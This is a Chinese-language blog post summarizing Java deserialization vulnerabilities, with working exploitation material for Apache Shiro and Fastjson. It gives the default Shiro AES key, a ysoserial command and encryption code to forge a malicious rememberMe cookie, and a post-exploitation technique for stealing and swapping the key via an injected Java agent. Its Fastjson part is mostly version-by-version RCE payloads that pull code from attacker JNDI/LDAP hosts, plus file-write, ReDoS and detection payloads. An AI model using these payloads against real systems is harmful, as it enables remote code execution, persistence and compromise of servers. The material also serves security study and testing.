写点什么

Web 安全之 Java 反序列漏洞总结

  • 2022 年 7 月 13 日
  • 本文字数:10304 字

    阅读完需:约 34 分钟

Web安全之Java反序列漏洞总结

什么是序列化与反序列化

  1. Java 序列化是指把 Java 对象转换为字节序列的过程。

  2. Java 反序列化是指把字节序列恢复为 Java 对象的过程。

序列化的作用

  1. 实现了数据的持久化,通过序列化可以把数据永久的保存在硬盘上。

  2. 利用序列化实现远程通信,即在网络上传递对象的字节序列。

序列化与反序列化实现

JDK 类库中的序列化 API: 使用到 JDK 中关键类 ObjectOutputStream(对象输出流) 和 ObjectInputStream(对象输入流) ObjectOutputStream 类中:通过使用 writeObject(Object object) 方法,将对象以二进制格式进行写入。 ObjectInputStream 类中:通过使用 readObject()方法,从输入流中读取二进制流,转换成对象。

目标对象实现 Serializable 接口 新建一个 Users 类,实现 Serializable 接口,并且生成版本号

package org.joychou.test;
import java.io.Serializable;
public class Users implements Serializable {
private static final long serialVersionUID = 3919559144903359124L; private int age; private String name; private String sex;
public int getAge() { return age; }
public String getName() { return name; }
public String getSex() { return sex; }
public void setAge(int age) { this.age = age; }
public void setName(String name) { this.name = name; }
public void setSex(String sex) { this.sex = sex; }
@Override public String toString() { return "Users{" + "age=" + age + ", name='" + name + '\'' + ", sex='" + sex + '\'' + '}'; }}

复制代码

serialVersionUID 序列化版本号的作用是用来区分我们所编写的类的版本,取值是 Java 运行时环境根据类的内部细节自动生成的。如果对类的源代码作了修改,再重新编译,新生成的类文件的 serialVersionUID 的取值有可能也会发生变化。

【一一帮助安全学习,所有资源获取处一一】

①网络安全学习路线

②20 份渗透测试电子书

③安全攻防 357 页笔记

④50 份安全攻防面试指南

⑤安全红队渗透工具包

⑥信息收集 80 条搜索语法

⑦100 个漏洞实战案例

⑧安全大厂内部视频资源

⑨历年 CTF 夺旗赛题解析


序列化和反序列化 Person 类对象

package org.joychou.test;
import java.io.*;
public class TestObjSerializeAndDeserialize { public static void main(String[] args) throws IOException, ClassNotFoundException { TestObjSerializeAndDeserialize.SerializeUsers(); TestObjSerializeAndDeserialize.DeserializeUsers(); }
private static void SerializeUsers() throws IOException { Users users = new Users(); users.setAge(20); users.setName("Tom"); users.setSex("male"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/xxxx/Desktop/Users.ser")); objectOutputStream.writeObject(users); System.out.println("序列化完成!"); objectOutputStream.close(); }
private static void DeserializeUsers() throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("Users/xxxx/Desktop/Users.ser")); Users users = (Users) objectInputStream.readObject(); System.out.println("反序列化完成"); System.out.println(users.toString()); }}

复制代码

结果: [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jrVLtf27-1657698173516)(https://upload-images.jianshu.io/upload_images/26472780-81e78b2eeef38dcf.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)]

cat 查看序列化后的二进制文件数据,Java 的为乱码

0x01 常见的存在反序列化漏洞框架

Shiro


Shiro 是一款轻量化的权限管理框架,能够较方便的实现用户验权,请求拦截等功能,同类型的框架是我们的 Spring Security ,相比之下 Spring Security 提供了更多的功能,我们这里来简单的介绍一下 Shiro 架构中主要有三个核心的概念:Subject, SecurityManager, Realms

Subject:代表当前的用户 SecurityManager:管理者所有的 Subject ,在官方文档中描述其为 Shiro 架构的核心 Realms:SecurityManager 的认证和授权需要使用 Realm,Realm 负责获取用户的权限和角色等信息,再返回给 SecurityManager 来进行判断,在配置 Shiro 的时候,我们必须指定至少一个 Realm 来实现认证(authentication)和/或授权(authorization) 我们需要实现 Realms 的 Authentication 和 Authorization。其中 Authentication 是用来验证用户身份,Authorization 是授权访问控制,用于对用户进行的操作授权,证明该用户是否允许进行当前操作,如访问某个链接,某个资源文件等 下面是自己实现的 Realm,这里我们实现了认证的方法 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-spuyV99P-1657698173528)(https://upload-images.jianshu.io/upload_images/26472780-2aa78494808fb11b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)]

这里的 getPrincipal 其实就是获取我们登录的用户名,getCredentials 其实就是我们登录的密码

我们这里的逻辑大致就是 如果获取到的用户名等于 admin 同时密码也为 admin 那么就返回 AuthenticationInfo AuthenticationInfo 会携带存储起来的正确的用户认证信息,用来与用户提交的信息进行比对,如果信息不匹配,那么会认证失败

Shiro-550 漏洞原理

在 Shiro 框架下,用户登陆成功后会生成一个经过加密的 Cookie。其 Cookie 的 Key 的值为 RememberMe,Value 的值是经过序列化、AES 加密和 Base64 编码后得到的结果。 服务端在接收到一个 Cookie 时,会按照如下步骤进行解析处理:

  1. 检索 RememberMe Cookie 的值

  2. 进行 Base64 解码

  3. 进行 AES 解码

  4. 进行反序列化操作,sink 点 readObject()。

在第 4 步中的调用反序列化时未进行任何过滤,进而可以导致出发远程代码执行漏洞。 由于使用了 AES 加密,成功利用该漏洞需要获取 AES 的加密密钥,在 Shiro1.2.4 版本之前 AES 的加密密钥为硬编码,其默认密钥的 Base64 编码后的值为 kPH+bIxk5D2deZiIxcaaaA==

漏洞检测

Shiro 主要检测思路有三种

  1. 第一种是使用 yso 下的 URLDNS 利用链进行检测

  2. 第二种是使用 yso 下 cc 利用链进行盲打,生成 ping dnslog payload,如果 key 正确,dnslog 会收到请求

  3. 前面两种思路都是使用 dnslog 进行测试,但是如果我们的目标不出网的情况下,只能使用 CC 链盲打,判断延迟。这种情况也会存在一些小问题,如果目标不出网,同时利用链不是 CC 的情况下,我们就会错过一些漏洞。其实在很多的文章里面都提到了一种思路,构造一个继承 PrincipalCollection 的序列化对象(SimplePrincipalCollection),将我们的 payload 放进 rememberMe 里面,key 正确情况下 Set-Cookie 返回 deleteMe,key 错误情况下 Set-Cookie 返回 deleteMe

原理: 首先看一下为什么当 key 错误时,Set-Cookie 会返回 deleteMe。 找到我们的shiro-core/1.2.4/shiro-core-1.2.4.jar!/org/apache/shiro/mgt/AbstractRememberMeManager.class,这个类主要是用来处理 rememberMe 的逻辑代码,核心点在AbstractRememberMeManager#getRememberedPrincipals这段代码中。

在 118 行设置断点 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WqqHHN1V-1657698173537)(https://upload-images.jianshu.io/upload_images/26472780-8872e26521024ee0.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)]

下面我们开始 debug,启动项目

下面我们分别来看两种情况

  1. 当 AES 的 key 不正确的情况下


    把 rememberMe 的值改成 1


调用convertBytesToPrincipals方法,跟进convertBytesToPrincipals方法

发现 137 行调用了 decrypt 解密

然后 167 行接着调用解密

AES 解密算法,因为我们的 key 错误,这里直接抛异常了

直接被上一部分的代码捕捉到

跟进我们的核心代码onRememberedPrincipalFailure方法,继续跟进forgetIdentity方法

forgetIdentity方法当中从subjectContext对象获取requestresponse,继续由forgetIdentity(HttpServletRequest request, HttpServletResponse response)这个构造方法处理。

跟进forgetIdentity(HttpServletRequest request, HttpServletResponse response),看到一个removeFrom方法。

继续跟进removeFrom方法,发现了给我们的Cookie增加deleteMe字段的位置了

结果:

key 正确的情况下,不返回deleteMe,可以自行调试 key 正确,会使用deserialize方法进行反序列化,PrincipalCollection是个接口 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rKT2BGQn-1657698173570)(https://upload-images.jianshu.io/upload_images/26472780-a09832e0cb00364f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)]

所以我们需要构造一个继承PrincipalCollection的序列化对象 Poc:

SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("payload"));obj.writeObject(simplePrincipalCollection);obj.close();

复制代码
漏洞复现

使用 SpringBoot,Shiro-1.2.24 搭建测试环境

因为 yso 中使用的是 commons-beanutils-1.9.2,而 shiro core 中使用的是 commons-beanutils1.8.3,我们使用改造后的 ysoserial 生成 CommonsBeanutils_183 的 Gadget

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils_183 "open -a Calculator" > poc.ser

复制代码

使用 Shiro 内置的默认密钥对 Payload 进行加密:

package ysoserial.util;
import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.codec.CodecSupport;import org.apache.shiro.util.ByteSource;import org.apache.shiro.codec.Base64;
import java.nio.file.FileSystems;import java.nio.file.Files;
public class AESencode { public static void main(String[] args) throws Exception { byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/Users/xxxxx/ysoserial-new/poc.ser"));
AesCipherService aes = new AesCipherService(); byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString()); }}

复制代码

发送生成的 rememberMe Cookie,命令执行成功:

Shiro 后渗透-使用 Agent 技术修改 key

什么是 java agent?

在 JDK1.5 以后,我们可以使用 agent 技术构建一个独立于应用程序的代理程序(即为 Agent),用来协助监测、运行甚至替换其他 JVM 上的程序。Agent 分为两种,一种是在主程序之前运行的 Agent,一种是在主程序之后运行的 Agent(前者的升级版,1.6 以后提供)。

学习 Java Agent 除了可以做RASP等产品,我们还可以做一些趣味性事情,比如我们可以使用 Agent 机制实现 Java 商业软件破解,我们常用的IntelliJ IDEA破解工具就是使用 Agent 方式动态修改 License 类校验逻辑来实现破解的。

为什么要获取 shiro 的 key?

  1. 可以方便我们快速的实现内网横向,毕竟 shiro 这个漏洞利用已经非常非常成熟了。

  2. 可以将这个 key 加入我们 key 字典中,方便之后的项目中测试。

  3. 如果我们修改 key,但我们一失手忘记掉了 key,也还要补救的措施。

  4. 如果点掉了,可以通过 shiro 这个入口快速重新切进去。

使用 demo 环境进行测试:

  1. 首先可以确定环境的 key 是默认的,并且是可以执行命令的。

  2. 上传 AgentInjectTool 到目标服务器,执行命令java -jar AgentInjectTool.jar list,获取 shiro 环境启动的 pid.

  3. 执行命令java -jar AgentInjectTool.jar inject {pid} {file.txt|shirokey}

触发获取 key 操作,需要我们手动发送请求登录请求,无论正确与否均可。比例说使用工具的检测当前密钥功能

生成新 key,尝试注入

新 key 测试成功

修改 shirokey 原理:

通过 Java Agent,我们可以 hook 想要的所有类,并且也能修改其代码逻辑,加入自己想要的功能。修改 shiro 的 key 需要调用内存中的 AbstractRememberMeManager 对象的 setCipherKey 方法,才能实现修改 shiro 的 key 的目的。

缺点: 由于已经用了新 key,已登录的用户会话会失效,导致影响业务,慎重使用。

Fastjson

漏洞原理

FastJson 在解析 json 的过程中,支持使用 autoType 来实例化某一个具体的类,并调用该类的 set/get 方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

autotype 功能:允许用户在反序列化数据中通过“@type”指定反序列化的 Class 类型。

通俗理解就是:漏洞利用 fastjson autotype 在处理 json 对象的时候,未对 @type 字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程 rmi 主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大影响。

AutoType 黑名单机制 既然 Json 串中传入指定不可靠第三方 Type 类时是有被攻击风险的,自然最简单的做法就是在反序列化时首先校验传入的 Class 是否在黑名单 Class 列表中,FastJson 中通过 Hash 算法,将一系列存在安全风险的 Class 全路径的 Hash 值存储在黑名单中,代码如下

Fastjson 低版本 1.2.25-1.2.42 明文黑名单。

判断 fastjson 和 jackson

如果请求包中的 json 如下:

{"name":"S", "age":21}追加一个随机 key ,修改 json 为{"name":"S", "age":21,"agsbdkjada__ss_d":123}

复制代码

这里 fastjson 是不会报错的

Jackson 因为强制 key 与 javabean 属性对齐,只能少不能多 key,所以会报错,服务器的响应包中多少会有异常回显

漏洞 poc
  1. 有回显 如果站点有原始报错回显,可以用不闭合花括号的方式进行报错回显,报错中往往会有 fastjson 的字样

  2. 无回显,通过 DNS 回显的方式盲区分 Fastjson 和 Jackson,使用以下 payload 测试

{"zeo":{"@type":"java.net.Inet4Address","val":"745shj.dnslog.cn"}}

复制代码


最新版本 1.2.67 依然可以通过 dnslog 判断后端是否使用 fastjson

{"@type":"java.net.Inet4Address","val":"dnslog"}{"@type":"java.net.Inet6Address","val":"dnslog"}

复制代码

畸形的

{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}

复制代码

嵌套在里面 zeo 里面

{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}

复制代码


{"@type":"java.net.Inet4Address","val":"dnslog"} {"@type":"java.net.Inet6Address","val":"dnslog"} {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}} {"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""} {{"@type":"java.net.URL","val":"dnslog"}:"aaa"} Set[{"@type":"java.net.URL","val":"dnslog"}] Set[{"@type":"java.net.URL","val":"dnslog"} {{"@type":"java.net.URL","val":"dnslog"}:

复制代码
  1. 通过 DOS 延迟方式判断


    Fastjson1.2.36 - 1.2.62 正则表达式拒绝服务漏洞

{"regex"%3a{"$ref"%3a"$[blue+rlike+'^[a-zA-Z]%2b(([a-zA-Z+])%3f[a-zA-Z]*)*$']"},"blue"%3a"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"}

复制代码

Fastjson < 1.2.60 在取不到值的时候会填充\u001a,使用{"a:"\x进行请求就会发生 DOS

漏洞 exp

多版本 payload 影响版本:fastjson<=1.2.24 exp:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1099/jndi", "autoCommit":true}

复制代码

影响版本:fastjson<=1.2.41 前提:autoTypeSupport 属性为 true 才能使用。(fastjson>=1.2.25 默认为 false) exp:

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}

复制代码

影响版本:fastjson<=1.2.42 前提:autoTypeSupport 属性为 true 才能使用。(fastjson>=1.2.25 默认为 false) exp:

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}

复制代码

影响版本:fastjson<=1.2.43 前提:autoTypeSupport 属性为 true 才能使用。(fastjson>=1.2.25 默认为 false) exp:

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}

复制代码

影响版本:fastjson<=1.2.45 前提:autoTypeSupport 属性为 true 才能使用。(fastjson>=1.2.25 默认为 false) exp:

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data\_source":"ldap://localhost:1399/Exploit"}}

复制代码

影响版本:fastjson<=1.2.47 exp:

{    "a": {        "@type": "java.lang.Class",         "val": "com.sun.rowset.JdbcRowSetImpl"    },     "b": {        "@type": "com.sun.rowset.JdbcRowSetImpl",         "dataSourceName": "ldap://x.x.x.x:1999/Exploit",         "autoCommit": true    }}

复制代码

影响版本:fastjson<=1.2.62 exp:

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}"

复制代码

影响版本:fastjson<=1.2.66 前提:autoTypeSupport 属性为 true 才能使用。(fastjson>=1.2.25 默认为 false) exp:

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1399/Calc"}}

复制代码

影响版本:fastjson<=1.2.68 JRE 8 下的写文件利用链 PoC,这个利用链仅仅存在 centos 中,sun.rmi.server.MarshalOutputStream 在 win 下是没有的

{    "x":{        "@type":"java.lang.AutoCloseable",        "@type":"sun.rmi.server.MarshalOutputStream",        "out":{            "@type":"java.util.zip.InflaterOutputStream",            "out":{                "@type":"java.io.FileOutputStream",                "file":"/tmp/dest.txt",                "append":false            },            "infl":{                "input":"eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=="            },            "bufLen":1048576        },        "protocolVersion":1    }}

复制代码

commons-io 2.0 - 2.6 版本:

{  "x":{    "@type":"com.alibaba.fastjson.JSONObject",    "input":{      "@type":"java.lang.AutoCloseable",      "@type":"org.apache.commons.io.input.ReaderInputStream",      "reader":{        "@type":"org.apache.commons.io.input.CharSequenceReader",        "charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)"      },      "charsetName":"UTF-8",      "bufferSize":1024    },    "branch":{      "@type":"java.lang.AutoCloseable",      "@type":"org.apache.commons.io.output.WriterOutputStream",      "writer":{        "@type":"org.apache.commons.io.output.FileWriterWithEncoding",        "file":"/tmp/pwned",        "encoding":"UTF-8",        "append": false      },      "charsetName":"UTF-8",      "bufferSize": 1024,      "writeImmediately": true    },    "trigger":{      "@type":"java.lang.AutoCloseable",      "@type":"org.apache.commons.io.input.XmlStreamReader",      "is":{        "@type":"org.apache.commons.io.input.TeeInputStream",        "input":{          "$ref":"$.input"        },        "branch":{          "$ref":"$.branch"        },        "closeBranch": true      },      "httpContentType":"text/xml",      "lenient":false,      "defaultEncoding":"UTF-8"    },    "trigger2":{      "@type":"java.lang.AutoCloseable",      "@type":"org.apache.commons.io.input.XmlStreamReader",      "is":{        "@type":"org.apache.commons.io.input.TeeInputStream",        "input":{          "$ref":"$.input"        },        "branch":{          "$ref":"$.branch"        },        "closeBranch": true      },      "httpContentType":"text/xml",      "lenient":false,      "defaultEncoding":"UTF-8"    },    "trigger3":{      "@type":"java.lang.AutoCloseable",      "@type":"org.apache.commons.io.input.XmlStreamReader",      "is":{        "@type":"org.apache.commons.io.input.TeeInputStream",        "input":{          "$ref":"$.input"        },        "branch":{          "$ref":"$.branch"        },        "closeBranch": true      },      "httpContentType":"text/xml",      "lenient":false,      "defaultEncoding":"UTF-8"    }  }}

复制代码

commons-io 2.7 - 2.8.0 版本:

{  "x":{    "@type":"com.alibaba.fastjson.JSONObject",    "input":{      "@type":"java.lang.AutoCloseable",      "@type":"org.apache.commons.io.input.ReaderInputStream",      "reader":{        "@type":"org.apache.commons.io.input.CharSequenceReader",        "charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)",        "start":0,        "end":2147483647      },      "charsetName":"UTF-8",      "bufferSize":1024    },    "branch":{      "@type":"java.lang.AutoCloseable",      "@type":"org.apache.commons.io.output.WriterOutputStream",      "writer":{        "@type":"org.apache.commons.io.output.FileWriterWithEncoding",        "file":"/tmp/pwned",        "charsetName":"UTF-8",        "append": false      },      "charsetName":"UTF-8",      "bufferSize": 1024,      "writeImmediately": true    },    "trigger":{      "@type":"java.lang.AutoCloseable",      "@type":"org.apache.commons.io.input.XmlStreamReader",      "inputStream":{        "@type":"org.apache.commons.io.input.TeeInputStream",        "input":{          "$ref":"$.input"        },        "branch":{          "$ref":"$.branch"        },        "closeBranch": true      },      "httpContentType":"text/xml",      "lenient":false,      "defaultEncoding":"UTF-8"    },    "trigger2":{      "@type":"java.lang.AutoCloseable",      "@type":"org.apache.commons.io.input.XmlStreamReader",      "inputStream":{        "@type":"org.apache.commons.io.input.TeeInputStream",        "input":{          "$ref":"$.input"        },        "branch":{          "$ref":"$.branch"        },        "closeBranch": true      },      "httpContentType":"text/xml",      "lenient":false,      "defaultEncoding":"UTF-8"    },    "trigger3":{      "@type":"java.lang.AutoCloseable",      "@type":"org.apache.commons.io.input.XmlStreamReader",      "inputStream":{        "@type":"org.apache.commons.io.input.TeeInputStream",        "input":{          "$ref":"$.input"        },        "branch":{          "$ref":"$.branch"        },        "closeBranch": true      },      "httpContentType":"text/xml",      "lenient":false,      "defaultEncoding":"UTF-8"    }  }

复制代码
总结:
  1. jndi(需要出网)

    JdbcRowSetImpl

    C3p0#JndiRefForwardingDataSource

    JndiDataSourceFactory

    shiro#JndiObjectFactory

    shiro#JndiRealmFactory

  2. BCEL(不出网利用。 需要注意在 Java 8u251 以后,bcel 类被删除) BCEL 的全名应该是 Apache Commons BCEL,属于 Apache Commons 项目下的一个子项目,BCEL 库提供了一系列用于分析、创建、修改 Java Class 文件的 API。就这个库的功能来看,其使用面远不及同胞兄弟们,但是他比 Commons Collections 特殊的一点是,它被包含在了原生的 JDK 中,位于com.sun.org.apache.bcel Poc:

    { { "aaa": { "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", //这里是tomcat>8的poc,如果小于8的话用到的类是 //org.apache.tomcat.dbcp.dbcp.BasicDataSource "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "$$BCEL$$$l$8b$I$A$..."

用户头像

我是一名网络安全渗透师 2021.06.18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
Web安全之Java反序列漏洞总结_网络安全_网络安全学海_InfoQ写作社区